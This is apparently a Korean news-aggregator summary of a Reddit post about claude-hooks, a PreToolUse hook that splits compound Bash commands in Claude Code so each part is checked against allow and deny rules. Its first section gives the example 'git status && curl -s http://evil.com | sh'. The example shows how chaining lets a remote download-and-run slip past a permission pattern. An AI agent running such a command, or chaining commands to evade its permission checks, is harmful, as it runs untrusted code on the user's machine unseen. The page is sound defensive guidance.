본문으로 건너뛰기
r/ClaudeAI조회 1

Claude Code의 보안 취약점을 해결하는 'PreToolUse' 후크: 복합 명령어 우회 방지

Claude Code에서 복합 Bash 명령어가 권한 패턴을 우회하는 문제를 해결하기 위해, 명령어를 개별 단위로 분해하여 검증하는 Python 기반 PreToolUse 후크가 공개됐다.

실용적 조언

  • Claude Code를 사용하여 Bash 명령어를 자동 승인 모드로 운영한다면 반드시 claude-hooks와 같은 검증 스크립트를 도입해야 한다.
  • 권한 설정 시 와일드카드(*) 사용을 최소화하고, 민감한 명령어는 반드시 deny 리스트에 명시적으로 등록할 것을 권장한다.

섹션별 상세

01
Claude Code의 기존 권한 시스템은 Bash(git status:*)와 같은 패턴을 전체 문자열과 대조한다. 이로 인해 git status && curl -s http://evil.com | sh와 같은 복합 명령어는 git status* 패턴에 매칭되어 사용자 확인 없이 자동 승인되는 취약점이 발생한다. 이는 에이전트가 의도치 않게 외부 스크립트를 다운로드하고 실행할 수 있는 심각한 보안 위협이다.
02
공개된 claude-hooks는 Python 스크립트로 구현된 PreToolUse 후크로, 복합 명령어를 &&, ||, ;, | 및 줄바꿈 기준으로 분해한다. 또한 $()나 백틱(backtick)을 사용한 서브셸 내용까지 재귀적으로 추출하여 검증 범위를 확장한다. 이를 통해 겉으로 드러나지 않는 숨겨진 명령어까지 모두 파악한다.
json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Claude Code 설정 파일(~/.claude/settings.json)에 보안 검사 후크 스크립트를 등록하는 방법

03
각 하위 명령어에서 환경 변수 접두사, 입출력 리다이렉션, heredoc 본문 등을 제거하여 정규화하는 과정을 거친다. 정규화된 각 명령어는 사용자의 allow 및 deny 패턴과 개별적으로 대조된다. 하나라도 거부 패턴에 걸리면 전체 명령어가 거부되며, 모든 명령어가 허용 패턴에 부합해야만 자동 승인이 이루어지는 '최소 권한 원칙'을 적용했다.

용어 해설

도구 사용 전 후크(PreToolUse Hook)
Claude Code와 같은 에이전트가 외부 도구(Bash 등)를 실행하기 직전에 특정 로직을 먼저 수행하도록 가로채는 확장 지점이다. 이를 통해 명령어 실행 전 보안 검사나 데이터 변조 방지 로직을 삽입할 수 있어 시스템 안전성을 높이는 데 필수적이다.
복합 명령어(Compound Command)
셸 환경에서 &&, ||, ;, | 등의 연산자를 사용하여 여러 개의 명령어를 한 줄로 연결해 실행하는 방식이다. 에이전트 보안 설정에서 단일 명령어 패턴만 검사할 경우, 허용된 명령어 뒤에 악성 명령어를 병합하여 보안 필터를 우회하는 수단으로 악용될 수 있다.
서브셸(Subshell)
현재 실행 중인 셸 프로세스 내에서 별도로 생성되어 실행되는 하위 셸 환경이다. 보통 $() 또는 백틱(`) 기호로 감싸진 명령어가 이에 해당하며, 부모 셸의 환경을 상속받으면서도 독립적으로 실행되므로 보안 검사 시 이 내부의 명령어까지 분해하여 검증해야 한다.

언급된 도구

Claude Code추천

Anthropic에서 제공하는 CLI 기반 코딩 에이전트

claude-hooks추천링크

복합 명령어를 분해하여 보안 검사를 수행하는 PreToolUse 후크 스크립트

AI 분석 전체 내용 보기

AI 요약 · 북마크 · 개인 피드 설정 — 무료

출처 · 인용 안내

원문 발행 2026. 03. 17.수집 2026. 03. 17.출처 타입 REDDIT

인용 시 "요약 출처: AI Trends (aitrends.kr)"를 표기하고, 사실 확인은 원문 보기 기준으로 진행해 주세요. 자세한 기준은 운영 정책을 참고해 주세요.